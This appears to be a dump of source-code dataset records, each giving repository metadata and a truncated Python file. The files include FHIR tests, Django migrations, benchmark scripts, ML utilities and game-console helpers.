/fhir/resources/STU3/tests/test_claimresponse.py
7dcc06709f6b8f62c8ab67302b0ceff62766cf66
[ "BSD-3-Clause" ]
permissive
stephanie-howson/fhir.resources
69d2a5a6b0fe4387b82e984255b24027b37985c4
126e9dc6e14541f74e69ef7c1a0b8a74aa981905
refs/heads/master
2020-05-04T22:24:49.826585
2019-06-27T15:51:26
2019-06-27T15:51:26
179,511,579
0
0
null
2019-04-04T14:14:53
2019-04-04T14:14:52
null
UTF-8
Python
false
false
5,244
py
#!/usr/bin/env python # -*- coding: utf-8 -*- # # Generated from FHIR 3.0.1.11917 on 2019-01-17. # 2019, SMART Health IT. import os import pytest import io import unittest import json from .fixtures import force_bytes from .. import claimresponse from ..fhirdate import FHIRDate @pytest.mark.usefixtures("base_sett...
[ "connect2nazrul@gmail.com" ]
connect2nazrul@gmail.com
6e12ad8d9e33f479429640483e1399313365a857
3bfef17522f90a968d72234802cf786c8b6e3885
/inv/migrations/0002_auto_20210117_1317.py
0e9febdf64688e859bfd228c296a6a4ac182d97b
[]
no_license
conejofoz/scf
baf8ee3e0473fc4034b1d96f75cdfc3e12a2e4a2
55edb38cac39e6655ef6bb907b257e217d6020d3
refs/heads/master
2023-06-21T05:05:00.651755
2021-08-12T04:11:30
2021-08-12T04:11:30
328,436,073
1
0
null
null
null
null
UTF-8
Python
false
false
1,464
py
# Generated by Django 3.1.5 on 2021-01-17 16:17 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('inv', '0001_initial'), ...
[ "=" ]
=
94b49f034eaeb8d587fa1130be3009551409971c
d66d98a20f42f93e9f94dafde66a3e331a470153
/python/wordcountsimple.py
477c7c187fb55ff708798108c77caa0ea3021e29
[]
no_license
kyprifog/excercises
d984a5b09c0785d28985e038ca6c823806c47c0b
8f731aeb07d1bba8d3b023c119d3ddd83239622c
refs/heads/master
2021-11-30T00:41:53.764719
2021-11-11T00:05:27
2021-11-11T00:05:27
79,751,780
0
0
null
null
null
null
UTF-8
Python
false
false
696
py
from typing import Optional, Dict, List file = "/data/pg1787.txt" import re with open(file) as f: line: str = f.read() words: List[str] = re.findall("[A-Za-z]+", line) dictionary: Dict[str, int] = {} for word in words: w = word.lower() try: count : Optional[int] = dictio...
[ "kprifogle1@gmail.com" ]
kprifogle1@gmail.com
e675a9ae90485af4a1731c2354e4d96cbfcd9453
fab14fae2b494068aa793901d76464afb965df7e
/benchmarks/f3_wrong_hints/scaling_software_termination/17-2Nested_false-termination_39.py
ac9e152d1c883323df8d9c33b51284595681982a
[ "MIT" ]
permissive
teodorov/F3
673f6f9ccc25acdfdecbfc180f439253474ba250
c863215c318d7d5f258eb9be38c6962cf6863b52
refs/heads/master
2023-08-04T17:37:38.771863
2021-09-16T07:38:28
2021-09-16T07:38:28
null
0
0
null
null
null
null
UTF-8
Python
false
false
7,935
py
from typing import Tuple, FrozenSet from pysmt.environment import Environment as PysmtEnv from pysmt.fnode import FNode import pysmt.typing as types from utils import symb_to_next from hint import Hint, Location def transition_system(env: PysmtEnv) -> Tuple[FrozenSet[FNode], FNode, FNode, ...
[ "en.magnago@gmail.com" ]
en.magnago@gmail.com
07e3f45516135947975ae8c2df06beb3981b6fd9
e2ec42da8908d409141beb5fcfbbdd42866299e0
/zmq_ex/old_versions/pub_delete.py
bab417e6b68351baea5bc57abf54112ede17f67b
[]
no_license
YulianaGomez/streaming
f88575070fb73a103f109ee966dc26400d0f4769
7101c699f17ca10fb664e1fb2b51ace3cb15c45c
refs/heads/master
2021-01-22T06:19:13.931182
2018-03-28T03:30:33
2018-03-28T03:30:33
92,541,987
0
0
null
null
null
null
UTF-8
Python
false
false
1,030
py
import zmq import time import os import sys import glob ##def main(): while True: print 'loop' #msg = 'C:\TEMP\personnel.db' # Prepare context & publisher context = zmq.Context() publisher = context.socket(zmq.PUB) publisher.bind("tcp://127.0.0.1:10111") time.sleep(1) files = glob.glob('/hom...
[ "ygomez297@gmail.com" ]
ygomez297@gmail.com
0f3e305a4559c8325fb7caa51ef033a9851c1353
3f6088cf1aaaddc18ca1c6f2d5bfc69590941d60
/Xianyang_vmd/projects/gbrt_one_step_one_month.py
aa2911f453e3a8ab7ac6447a81ac5df18081878b
[ "MIT" ]
permissive
YX577/MonthlyRunoffForecastByAutoReg
80038b1b0401d0dbe9b4b67cf531298090815cf7
2d66c628141f001e4ffb3dc3b7520a0f0f0ff239
refs/heads/master
2022-03-30T10:48:30.165288
2020-01-17T02:36:47
2020-01-17T02:36:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
364
py
import matplotlib.pyplot as plt import os root_path = os.path.dirname(os.path.abspath('__file__')) import sys sys.path.append(root_path) from models import one_step_gbrt if __name__ == '__main__': one_step_gbrt( root_path=root_path, station='Xianyang', decomposer='vmd', predict_pat...
[ "zuojianyi@outlook.com" ]
zuojianyi@outlook.com
03886047e84b2572ba049481430fffff81c9498b
b3264a4edfde774c6b6c3f5a608d5feb2f90363b
/src/AgentAI/aimodel/ImitationLearning/MainImitationLearning.py
c540028c5c1382d3363cd1135abc1b899d179639
[]
no_license
Lifer233/gameaisdk-ubuntu
1f73af338dcf5654849eb90701fee381c30166da
0b49697a33773518a32a76ed7a0e6d7a6661dc64
refs/heads/main
2023-07-08T15:03:35.432834
2021-01-28T08:48:53
2021-01-28T08:48:53
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,549
py
# -*- coding: utf-8 -*- """ This source code file is licensed under the GNU General Public License Version 3. For full details, please refer to the file "LICENSE.txt" which is provided as part of this source code package. Copyright (C) 2020 THL A29 Limited, a Tencent company. All rights reserved. """ import os import...
[ "maoyingying@bilibili.com" ]
maoyingying@bilibili.com
06891a87a7fb8b860135e379b1ea5397c9f28f62
2ecb1c63b33ba30c1f5c23e5e72b184637a9a076
/data-processing/tests/test_colorize_tex.py
4ac5ddb95bcefc490f1d1c0c72d88baafb893e09
[ "GPL-1.0-or-later", "AGPL-3.0-only", "Apache-2.0", "AGPL-3.0-or-later" ]
permissive
rishamsidhu/scholar-reader
76a1c0e4ef8f3e04520d76647cd6cb18aca723c7
fa97cd5fb57305ff96ac060e225d1c331da31654
refs/heads/master
2022-11-15T14:25:19.229461
2020-07-14T17:46:47
2020-07-14T17:46:47
257,456,808
0
0
Apache-2.0
2020-04-21T02:15:01
2020-04-21T02:15:01
null
UTF-8
Python
false
false
7,995
py
import re from common.colorize_tex import ( COLOR_MACROS, COLOR_MACROS_BASE_MACROS, COLOR_MACROS_LATEX_IMPORTS, COLOR_MACROS_TEX_IMPORTS, add_color_macros, colorize_citations, colorize_entities, colorize_equation_tokens, ) from common.types import Equation, FileContents, SerializableEnt...
[ "head.andrewm@gmail.com" ]
head.andrewm@gmail.com
d9bc025490885d55cf1d48189dc9e72060e97e65
dc5a2fe4380e1453a12f15f5080b10f3ababb9de
/AutomationTools/bin/2.0/WECB/wifi_scan.py
05eaaff112e3ba19181ea2639f1c01681744f5aa
[]
no_license
jameshilliard/PythonCode
f72ad62bb8b8cafbc94cbe7c0d3065343fdf0f98
422543bc049f57a67d53ec0b89caef076297cdc5
refs/heads/master
2020-04-09T00:06:25.689609
2015-03-14T13:14:34
2015-03-14T13:14:34
32,722,067
3
0
null
2015-03-23T09:21:52
2015-03-23T09:21:52
null
UTF-8
Python
false
false
22
py
../common/wifi_scan.py
[ "zxu@actiontec.com" ]
zxu@actiontec.com
f751f5e5a614f226142d56100a8c4672ddf5610b
84c6e52f67c379f2964b702b8d2601f1d81eacfe
/src/testa.py
29fc59753f96d8a20560ff3103efe4f2b9b347e1
[ "MIT" ]
permissive
AdamMusa/testa
6a022f4e0b28ff95d684243b8978c1c730722b6e
7706c483466c1193ac7c33335fd8f5445175414e
refs/heads/master
2023-03-17T05:29:46.250866
2021-03-08T05:26:51
2021-03-08T05:26:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
26,942
py
#!/usr/bin/python # # ----------------------------------------------------------------------------------------------------- # # _____ _____ ____ _____ _ # |_ _| ____/ ___|_ _| / \ # | | | _| \___ \ | |_____ / _ \ # | | | |___ ___) || |_____/ ___ \ # |_| |_____|____/ |_| /_/ \_\ # # Welcome t...
[ "s4nixd@gmail.com" ]
s4nixd@gmail.com
77779566907dd313e81e402c95ee382e3a712eda
12d4eec638ea16091cb8bad81eec66f5bd1c5ce6
/demos/python_demos/accuracy_checker/annotation_converters/pascal_voc.py
f8ebf156c4e21c29fe39a890ebe0a68e55119f45
[ "Apache-2.0" ]
permissive
Pandinosaurus/open_model_zoo
f73bd40f1f4b1ff85370f25700f53d85e6ad398c
99afbe830b5235cec696aae3866911bbbf68e967
refs/heads/2018
2023-09-03T09:58:38.383133
2019-04-11T10:09:55
2019-04-11T10:09:55
156,552,772
1
0
Apache-2.0
2021-03-26T16:21:49
2018-11-07T13:45:58
CSS
UTF-8
Python
false
false
5,610
py
""" Copyright (c) 2018 Intel Corporation Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing,...
[ "44090433+openvino-pushbot@users.noreply.github.com" ]
44090433+openvino-pushbot@users.noreply.github.com
730c073d074615a53a92cc67bcdce76bfc7ddfd7
930309163b930559929323647b8d82238724f392
/typical90_ci.py
20cff0a29b6963c4ab01bd73334698ca536c5f1d
[]
no_license
GINK03/atcoder-solvers
874251dffc9f23b187faa77c439b445e53f8dfe1
b1e7ac6e9d67938de9a85df4a2f9780fb1fbcee7
refs/heads/master
2021-11-07T14:16:52.138894
2021-09-12T13:32:29
2021-09-12T13:32:29
11,724,396
3
1
null
null
null
null
UTF-8
Python
false
false
555
py
import copy N, P, K = map(int, input().split()) G = [list(map(int, input().split())) for n in range(N)] def eval(num): tmp = copy.deepcopy(G) for i in range(N): for j in range(N): if tmp[i][j] == -1: tmp[i][j] = num for k in range(0, N): for x in range(0, N): ...
[ "gim.kobayashi@gmail.com" ]
gim.kobayashi@gmail.com
887de270ca22b5e1d2c87f74428b2757b7774f0c
7302c8df7d88a0aff7c6c7816a656ddb214088b9
/test/unit/ext/phpfpm/collectors/master/metrics.py
e2fafb0a504fbaeab4902d3509eba43e3dd895b9
[ "BSD-2-Clause" ]
permissive
rmoorman/nginx-amplify-agent
a5a8d4c6ec8fefb6b15890c944436b9a5b104c99
4c56a7dd5044935a167e4d2125d2d623d9317172
refs/heads/master
2021-07-23T07:15:23.918659
2017-11-03T17:46:26
2017-11-03T17:46:26
null
0
0
null
null
null
null
UTF-8
Python
false
false
5,301
py
# -*- coding: utf-8 -*- from hamcrest import ( assert_that, not_none, is_, equal_to, has_item, has_length, not_ ) import time from test.unit.ext.phpfpm.base import PHPFPMTestCase from amplify.agent.common.context import context from amplify.ext.phpfpm.objects.master import PHPFPMObject from amplify.ext.phpfpm.co...
[ "dedm@nginx.com" ]
dedm@nginx.com
a05c492b5063b8645724b85c1f7abb79dfe7a90a
0678d9dce8d7e087484ecc259cd3864659595275
/testing.py
90b348daae827f444222ddae62f349c4ab3f6a9c
[]
no_license
iamshakibulislam/FirstDuplicateFinder
e42491dbd34193de264e40de3be13c04c320cde7
f6c7e1687e7aabd46a3f34ce06b9719f1f713908
refs/heads/master
2023-02-17T12:05:58.341695
2021-01-18T08:19:00
2021-01-18T08:19:00
330,598,743
0
0
null
null
null
null
UTF-8
Python
false
false
313
py
arr=[1,2,3,4,5,6,7,8,9,10,10] def first_dup(array): arr1=array temp_arr=list() #check_arr=list() arrl=len(array)-1 i=0 while i<= arrl: temp_arr.append(array[0]) array.remove(array[0]) if array[0] in temp_arr: print('first duplicate found :',array[0]) break i=i+1 first_dup(arr)
[ "iamshakibulislam@gmail.com" ]
iamshakibulislam@gmail.com
b7b27324d00b70c76d2e0d6dd41eb3965c7c4387
08607218396a0269a90e8b4e6d099a5e99e39a8b
/database/schemes/easyTest/script/testCase/U商城项目/U商城管理端/商品信息/商品分类/商品分类.py
cb780aecbb8bb509536c30e0064663b290036f9a
[ "MIT" ]
permissive
TonnaMajesty/test
4a07297557669f98eeb9f94b177a02a4af6f1af0
68b24d1f3e8b4d6154c9d896a7fa3e2f99b49a6f
refs/heads/master
2021-01-19T22:52:18.309061
2017-03-06T10:51:05
2017-03-06T10:51:05
83,779,681
1
0
null
null
null
null
UTF-8
Python
false
false
12,656
py
# coding=utf-8 from time import sleep from SRC.common import utils_user from SRC.common.decorator import codeException_dec from SRC.unittest.case import TestCase from script.common import utils class EasyCase(TestCase): def __init__(self, webDriver, paramsList): # 请不要修改该方法 super(EasyCase, self).__init__(webDriv...
[ "1367441805@qq.com" ]
1367441805@qq.com
52e260f7c9f9134bbf95143e05ea3b5dc9fab398
050a5e9bd3970f802f3a10adffd7eb4d965511a2
/tests/nightly/model_backwards_compatibility_check/__init__.py
60e41c851ad9797fb020bb3dcdea34bc330de23f
[ "Apache-2.0", "MIT", "BSD-3-Clause", "LLVM-exception", "Zlib", "BSL-1.0", "LicenseRef-scancode-unknown-license-reference", "Unlicense", "BSD-2-Clause" ]
permissive
rongzha1/incubator-mxnet
758948b2cadc7ea469bf02aa28e1af876ed8e6e5
1687b442d9eedf4d9acc36bb84ed2f26da6bb969
refs/heads/master
2023-03-17T13:20:31.260076
2022-05-25T18:29:08
2022-05-25T18:29:08
116,620,123
2
0
Apache-2.0
2019-07-24T05:12:13
2018-01-08T02:39:37
C++
UTF-8
Python
false
false
825
py
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
[ "noreply@github.com" ]
rongzha1.noreply@github.com
56c9b24509ecc868adf4b8c423e955bbd10fa32b
fc01364f35b4c2d54b29d541bd42240ec9bdd40c
/espboy/freeze/ugame.py
ce77356c6ed61395d0da6a452f0d18b65ee0e940
[ "MIT" ]
permissive
python-ugame/micropython-stage
c3c5473b231826d4d4a35d12cd0fd8b6980cfbd6
a412467886f1aa8752d7249b52bc8d8359333e2d
refs/heads/master
2021-09-10T07:20:25.009164
2021-09-02T07:39:41
2021-09-02T07:39:41
200,054,513
28
6
null
null
null
null
UTF-8
Python
false
false
1,340
py
""" A helper module that initializes the display and buttons for the uGame game console. See https://hackaday.io/project/27629-game """ from machine import SPI, I2C, Pin import st7735r K_LEFT = 0x01 K_UP = 0x02 K_DOWN = 0x04 K_RIGHT = 0x08 K_X = 0x10 K_O = 0x20 K_L = 0x40 K_R = 0x80 class Audio: def __init__(s...
[ "openstack@sheep.art.pl" ]
openstack@sheep.art.pl
46a0d797b57970a888173c91b8d0f132758e9fd8
461cbe14775be116ea001ec36b8b9b4deb2f77bc
/conftest.py
6e7704215fda869ece8099d8515049a352e1f44a
[]
no_license
Adoyan-Grigor/stepik-auto-tests-course
898a653062cfa4bdf484a363b956ed2004ef0629
406b1498362538ebec27118083c3de5a94898140
refs/heads/master
2023-05-10T18:25:09.085013
2021-06-02T13:16:35
2021-06-02T13:16:35
369,514,851
0
0
null
null
null
null
UTF-8
Python
false
false
808
py
#!/usr/bin/python3 import pytest from selenium import webdriver from selenium.webdriver.chrome.options import Options def pytest_addoption(parser): parser.addoption('--language', action='store', default=None, help="Choose language: es or fr") @pytest.fixture(scope="function") def browser(r...
[ "you@example.com" ]
you@example.com
e12c5706944b7dd7b9346fe84bfd1856eff92683
f7d47249f7e74bec51eacaa05f381674b92e3611
/interview/垃圾回收.py
64503ea12b3d524c88d8f4b72dd849cc542c656a
[]
no_license
jinlijiang123/crawler
f96764bc5e7ae6f254e397189c4228336889a0d1
cd3f16d04cc7c83b78d5a78afa7a57951399d490
refs/heads/master
2020-06-15T19:44:48.892953
2019-03-26T04:35:29
2019-03-26T04:35:29
null
0
0
null
null
null
null
UTF-8
Python
false
false
1,653
py
# -*- coding: utf-8 -*- 垃圾回收 一.小整数对象池 python对于小整数的定义是[-5,257),使用小整数池,所有位于这个范围内的整数都是使用同一个对象 使用小整数对象池,优化速度,避免为整数频繁申请和销毁内存空间 二.intern机制 小整数[-5,257)共用对象,常驻内存 单个字符共用对象,常驻内存 单个单词,不可修改,默认开启intern机制,共用对象,引用计数为0,则销毁 三.垃圾回收 python采用的是引用计数机制为主,标记-清除和分代收集两种机制为辅的策略 引用计数机制的优点: 简单 实时性:一旦没有引用,内存就直接释放了。不用像其他机制等到特定时机。实时...
[ "648672371@qq.com" ]
648672371@qq.com
5230e860a8b2d452b6d0d0c960dc1a94f4471c2d
aad164e4efe1d55cc189c35956bfd435b14a0f52
/eve-8.21.494548/eve/client/script/ui/services/alliances/all_cso_members.py
c8c46a83da74d07806e83046ed0eb86aa5ae10f4
[]
no_license
Pluckyduck/eve
61cc41fe8fd4dca4fbdcc4761a37bcfeb27ed84f
9a277707ab1f162c6bd9618faf722c0be3ea93ad
refs/heads/master
2020-12-28T23:35:29.992875
2013-05-06T14:24:33
2013-05-06T14:24:33
null
0
0
null
null
null
null
UTF-8
Python
false
false
2,203
py
#Embedded file name: c:/depot/games/branches/release/EVE-TRANQUILITY/eve/client/script/ui/services/alliances/all_cso_members.py import util import allianceObject import blue class AllianceMembersO(allianceObject.base): __guid__ = 'allianceObject.members' def __init__(self, boundObject): allianceObject...
[ "ferox2552@gmail.com" ]
ferox2552@gmail.com
8a343fcef3e0186d26ea5a026f4c281d59ec7c3b
de5c935dd16f5ddbe533c5de690d0cfff39fcbf1
/neopaul_dms/__init__.py
335b18b8f9910e0940d21ba1a4902eeb08ec3b3e
[]
no_license
smart-solution/neopaul
632a10e35c60124daef81d752b49a4e7b410f7c3
e7465eef8100c0457314f55692d648397b21d6cd
refs/heads/master
2021-01-18T22:03:22.708095
2016-09-28T15:00:24
2016-09-28T15:00:24
29,247,235
0
0
null
null
null
null
UTF-8
Python
false
false
1,002
py
# -*- coding: utf-8 -*- ############################################################################## # # Smart Solution bvba # Copyright (C) 2010-Today Smart Solution BVBA (<http://www.smartsolution.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the ...
[ "fabian.semal@smartsolution.be" ]
fabian.semal@smartsolution.be
2e498c9f89d932c0128faf2ee7d93a73ca189051
bfffb2a98d012a9169d8edf8045f559acdba12a3
/Stock/BackTesting/Engine/Strategy/DyStockBackTestingCtaEngine.py
e2ddd43707b27dea136da4cdbdef5b5253829205
[ "MIT" ]
permissive
xunfeng191/DevilYuan
250909b450fc22dab507c68a47f6f05ed26774a4
ebc42ec136fb8645dc476aca5350486905ceeda2
refs/heads/master
2022-11-11T03:18:06.229817
2020-06-28T13:26:36
2020-06-28T13:26:36
275,366,248
1
0
MIT
2020-06-27T12:19:26
2020-06-27T12:19:25
null
UTF-8
Python
false
false
26,622
py
""" 本文件中包含的是CTA模块的回测引擎,回测引擎的API和CTA引擎一致, 可以使用和实盘相同的代码进行回测。 """ import types import copy from collections import OrderedDict from DyCommon.DyCommon import * from ....Data.Engine.DyStockDataEngine import * from ....Trade.DyStockStrategyBase import * from ....Trade.Strategy.DyStockCtaBase import * from ....Trade....
[ "louis_chu@163.com" ]
louis_chu@163.com
3d4eca6e922de0ed8c08f481883f29c7e2c4ba76
53fa2bc79d3360822e42221268e255777ffb64be
/pyconcz_2016/pyconcz_2016/wsgi.py
2298a554c1f795e35cfa52112e923c046d95bba9
[ "MIT" ]
permissive
waffle-iron/cz.pycon.org-2016
bb17af5c338825a4ef0ca4721a775b4e7552979c
30b8305436accefd1883969107957c9c325248f6
refs/heads/master
2020-12-25T09:57:36.119694
2016-06-20T10:00:49
2016-06-20T10:00:49
61,537,124
0
0
null
2016-06-20T10:00:47
2016-06-20T10:00:46
null
UTF-8
Python
false
false
401
py
""" WSGI config for pyconcz_2016 project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.9/howto/deployment/wsgi/ """ import os from django.core.wsgi import get_wsgi_application os.environ.setdefault("DJANGO_...
[ "tomas.ehrlich@gmail.com" ]
tomas.ehrlich@gmail.com
e2b95b57f36b6428e292d553cc222f5e0bbfffda
5ab361092bc5da279e0957772e288245ae664648
/Chap01/object_function.py
9bbf09f94777e679beb694158b3e43fda5088aa3
[]
no_license
ankiwoong/Algorithm_learning_with_data_structure
0f9576f5c392c6b0126fda5a6b458439f69bc86f
6a8c0d29819ad5da7fb02b06d30df4e89fb8dfbb
refs/heads/main
2023-03-02T20:57:29.311809
2021-02-14T12:13:48
2021-02-14T12:13:48
327,141,183
0
0
null
null
null
null
UTF-8
Python
false
false
318
py
# 함수 내부 . 외부에서 정의한 변수와 객체의 식별 번호를 출력하기 n = 1 # 전역 변수(함수 내부 . 외부에서 사용) def put_id(): x = 1 # 지역 변수(함수 내부에서만 사용) print(f"id(x) = {id(x)}") print(f"id(1) = {id(1)}") print(f"id(n) = {id(n)}") put_id()
[ "ankiwoong@gmail.com" ]
ankiwoong@gmail.com
bb45db588fa50e9fe440bda49bcc857de92a11d2
c4a0669126f2fbf757ac3b33a8279ef32305bbd7
/Data Project/Jude_Assignment/Banking_Problem_Comp/Bank.py
413bfff0ea10d1eb168755ded7c18296c03cea05
[]
no_license
ezeutno/PycharmProject
822b5a7da05729c5241a03b7413548a34b12e4a5
bdb87599885287d2d7cd5cd703b62197563722b8
refs/heads/master
2021-07-18T20:55:08.605486
2017-10-24T03:14:10
2017-10-24T03:14:10
105,782,136
0
0
null
null
null
null
UTF-8
Python
false
false
932
py
from Customer import Customer import random class Bank(Customer): def __init__(self,customers,numberOfCustomers, bankName): self.__customers = customers self.__numberOfCustomer = int(numberOfCustomers) self.__bankName = bankName Customer.__init__(self,'0','0','0','0') def addCu...
[ "ivan.suratno@gmail.com" ]
ivan.suratno@gmail.com
e1ed5de9f2df12468884d59eec35d6b0ab4daf10
05536893d069dd87256ba74ecdee06bdf481d44b
/common/v101/config.py
f2cb747dd33e6f1a6495590969ceffb6626e3b57
[]
no_license
TheRockStarDBA/DataBuddy
b2d889e11745d0afe1b39a11aab5945e2bd08cf7
38fa7adfdd228e2b2e4b4408393505163c5702e8
refs/heads/master
2020-12-25T23:27:02.363977
2015-05-28T19:14:12
2015-05-28T19:14:12
null
0
0
null
null
null
null
UTF-8
Python
false
false
59,100
py
import time, os, sys import logging import random import shutil from collections import OrderedDict from common.v101.exceptions import CopyVectorError import datetime from common.v101.loaders import import_module home=os.path.abspath(os.path.dirname(sys.argv[0])) abspath=home import_module=import_module from pprint im...
[ "alexbuzunov@gmail.com" ]
alexbuzunov@gmail.com
36fef6234743f4ec24b620c911a924f1bb6ea1fb
ab54e5bf6125ab50fd42b924df86f8a77d53480a
/tensorflow_graphics/nn/metric/recall.py
250f9e54414f218a45aab73356387b24d2c04aca
[ "Apache-2.0" ]
permissive
Saiprasad16/graphics
435f4e2bd71d2166201742cb72e6541b1970d598
ee853d4fbd63352ad091c1bb69d4702ccd71a61a
refs/heads/master
2023-04-18T16:08:39.582740
2021-04-19T19:36:39
2021-04-19T19:37:05
366,008,320
1
0
Apache-2.0
2021-05-10T10:46:03
2021-05-10T10:45:15
null
UTF-8
Python
false
false
4,521
py
# Copyright 2020 The TensorFlow Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to i...
[ "copybara-worker@google.com" ]
copybara-worker@google.com
39a741ed625db387a556ac9b9fc84620de434fa7
8ab265b09af7c968803875e9da2e8a3620fa6f7c
/base_synchro/__openerp__.py
177184877e89a5dfb05f980ff73295138ae5b357
[]
no_license
limweb/my-openerp-addons
5be34a4611c265055096f8cd0479e68d0f5eb6d2
1c30894b5ce5249261f1dae297ed427d78813b02
refs/heads/master
2021-01-01T18:11:37.685202
2012-10-27T08:16:41
2012-10-27T08:16:41
32,463,325
0
0
null
null
null
null
UTF-8
Python
false
false
1,713
py
# -*- coding: utf-8 -*- ############################################################################## # # OpenERP, Open Source Management Solution # Copyright (C) 2004-2010 Tiny SPRL (<http://tiny.be>). # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU...
[ "thitithup@63ab4253-1d0f-0ef1-39c5-73446a8bc111" ]
thitithup@63ab4253-1d0f-0ef1-39c5-73446a8bc111
fe902ef397b3196775ca6c3815244f66ebca600b
1ebd997c78b5e31d55ab0d0678d4f20889c7fd01
/meiduo/apps/oauth/urls.py
b891e10c3666658d531179aa29d446100bf3fa27
[ "MIT" ]
permissive
libin-c/Meiduo
f99ba4b105783c55011ebc301ae7068cbf946598
58468fd619a8d9f022df442a10a56b1b12ed1dd8
refs/heads/master
2022-12-13T10:02:56.715687
2019-07-13T11:26:53
2019-07-13T11:26:53
188,040,862
0
0
MIT
2022-12-10T04:49:02
2019-05-22T13:07:59
HTML
UTF-8
Python
false
false
479
py
from django.conf.urls import url, include from django.contrib import admin from . import views urlpatterns = [ # QQ 登录 url(r'^qq/login/$', views.QQAuthURLView.as_view(), name='qq_login'), url(r'^oauth_callback/$', views.QQAuthUserView.as_view(), name='oauth_callback'), # 获取新浪登录页面连接 url('^sina/logi...
[ "84045407@qq.com" ]
84045407@qq.com
d7f9bcfddeb1efd307ee28f0cf8f9ece58d90a9c
e831c22c8834030c22c54b63034e655e395d4efe
/Tree/100-SameTree.py
81b72785a691890c1cb80f187efbf9b709503324
[]
no_license
szhmery/leetcode
a5eb1a393422b21f9fd4304b3bdc4a9db557858c
9fcd1ec0686db45d24e2c52a7987d58c6ef545a0
refs/heads/master
2023-08-16T00:27:56.866626
2021-10-23T07:35:37
2021-10-23T07:35:37
331,875,151
0
0
null
null
null
null
UTF-8
Python
false
false
751
py
# Definition for a binary tree node. class TreeNode: def __init__(self, val=0, left=None, right=None): self.val = val self.left = left self.right = right class Solution: def isSameTree(self, a: TreeNode, b: TreeNode) -> bool: if not a and not b: return True i...
[ "szhmery@gmail.com" ]
szhmery@gmail.com
65b2b3f317e924ea8003f219c6de5cb3769204e9
e23a4f57ce5474d468258e5e63b9e23fb6011188
/120_design_patterns/012_proxy/examples/proxy_000.py
99906477638127809af66aa60fb8946f3a2d4533
[]
no_license
syurskyi/Python_Topics
52851ecce000cb751a3b986408efe32f0b4c0835
be331826b490b73f0a176e6abed86ef68ff2dd2b
refs/heads/master
2023-06-08T19:29:16.214395
2023-05-29T17:09:11
2023-05-29T17:09:11
220,583,118
3
2
null
2023-02-16T03:08:10
2019-11-09T02:58:47
Python
UTF-8
Python
false
false
4,007
py
# -*- coding: utf-8 -*- from abc import ABC, abstractmethod class Subject(ABC): """ Интерфейс Субъекта объявляет общие операции как для Реального Субъекта, так и для Заместителя. Пока клиент работает с Реальным Субъектом, используя этот интерфейс, вы сможете передать ему заместителя вместо реального ...
[ "sergejyurskyj@yahoo.com" ]
sergejyurskyj@yahoo.com
d492d61741cf0a9bcf0a7716e291ea40b028fc59
ec931947aa3e06ce565637e7ee1cb707f56375a2
/aoc2015/day21/day21.py
f8d85781f1d64b8c27e84bc763a9b31716a7ecb7
[]
no_license
chrisglencross/advent-of-code
5f16ed7e2265d27ce15f502ce2a1c2f11fc99fc0
21623d4aa01a9e20285a0233c50f8f56c4099af5
refs/heads/master
2023-01-24T22:01:30.829679
2023-01-12T23:03:03
2023-01-12T23:03:03
224,833,969
0
0
null
null
null
null
UTF-8
Python
false
false
2,504
py
#!/usr/bin/python3 # Advent of code 2015 day 21 # See https://adventofcode.com/2015/day/21 from dataclasses import dataclass @dataclass class Character: name: str hp: int damage: int armor: int def attack(self, other): other.hp -= max(1, self.damage - other.armor) @dataclass class Item...
[ "chris@glencross.org" ]
chris@glencross.org
413750aecbe677ddb077467e02bb9c09eeb8f98b
0d28773089c36358779b732b4633d305969f69d9
/timm/models/layers/helpers.py
967c2f4c9e583a8cf4245dd8b1c8fdff4a2e7cdf
[ "Apache-2.0" ]
permissive
mehtadushy/pytorch-image-models
7121398fa78531216ae7b452e5111e8dabe254d4
6e188637b7ac130468cc8ed9ac4c196cbeb6faf6
refs/heads/master
2023-01-11T17:24:21.646481
2020-11-08T22:45:58
2020-11-08T22:45:58
215,078,023
1
0
Apache-2.0
2019-10-14T15:23:49
2019-10-14T15:23:48
null
UTF-8
Python
false
false
420
py
""" Layer/Module Helpers Hacked together by Ross Wightman """ from itertools import repeat from torch._six import container_abcs # From PyTorch internals def _ntuple(n): def parse(x): if isinstance(x, container_abcs.Iterable): return x return tuple(repeat(x, n)) return parse tup...
[ "rwightman@gmail.com" ]
rwightman@gmail.com
0e52585715b575c7d0bf30e23b9346870c06d582
c113158bf6ce1edeb24298d711fddc56af2d62ee
/heltour/tournament/migrations/0042_auto_20160801_2309.py
98a494cdf7258c82bdbf3da3db227e61be384340
[ "MIT" ]
permissive
elvisaronsp/heltour
44d05b6e195b5fd939304ac776167e85762aec83
f5444552293ee4d51cbc7cf025857ed23d7d03dd
refs/heads/master
2020-06-19T06:16:54.312479
2019-05-26T15:13:33
2019-05-26T15:13:33
196,594,361
1
0
MIT
2019-07-12T14:34:58
2019-07-12T14:34:58
null
UTF-8
Python
false
false
1,612
py
# -*- coding: utf-8 -*- # Generated by Django 1.9.7 on 2016-08-01 23:09 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('tournament', '0041_auto_20160801_2116'), ] operations = [ migrations.CreateModel( ...
[ "ben.cyanfish@gmail.com" ]
ben.cyanfish@gmail.com
25ae5bbbe124609090011da6e4588ce1aa45e77b
1b9075ffea7d4b846d42981b41be44238c371202
/2008/devel/applications/network/wicd/actions.py
eb82b6155785ee21da405c7ee28df4460d99a98e
[]
no_license
pars-linux/contrib
bf630d4be77f4e484b8c6c8b0698a5b34b3371f4
908210110796ef9461a1f9b080b6171fa022e56a
